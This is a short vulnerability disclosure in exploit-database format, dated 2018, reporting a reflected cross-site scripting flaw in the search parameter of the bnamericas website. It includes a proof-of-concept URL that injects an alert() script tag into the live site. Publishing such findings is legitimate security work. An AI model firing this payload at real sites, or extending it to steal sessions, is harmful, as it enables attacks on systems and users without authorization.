# Exploit title: bnamericas  - Cross Site Scripting ( XSS ) Vulnerability
# Date: 2018-03-19
# Exploit Author: Elsfa7-110 ( mazoka433@gmail.com )
Vendor Homepage: https://www.bnamericas.com
# Category: Web Application
# Dork: N/A
# =============================
# Description:
# I discovered a XSS vulnerability in bnamericas. This vulnerability allows bad guy executes javascript commands on 
# target. In this target, attacker can enter his javascript command through url. like this :
# http://Server/es/search?typeContent=&txtSearch=<script>alert("Elsfa7")</script>
#=============================
Demo :
# https://www.bnamericas.com/es/search?typeContent=&txtSearch=<script>alert("Elsfa7")</script>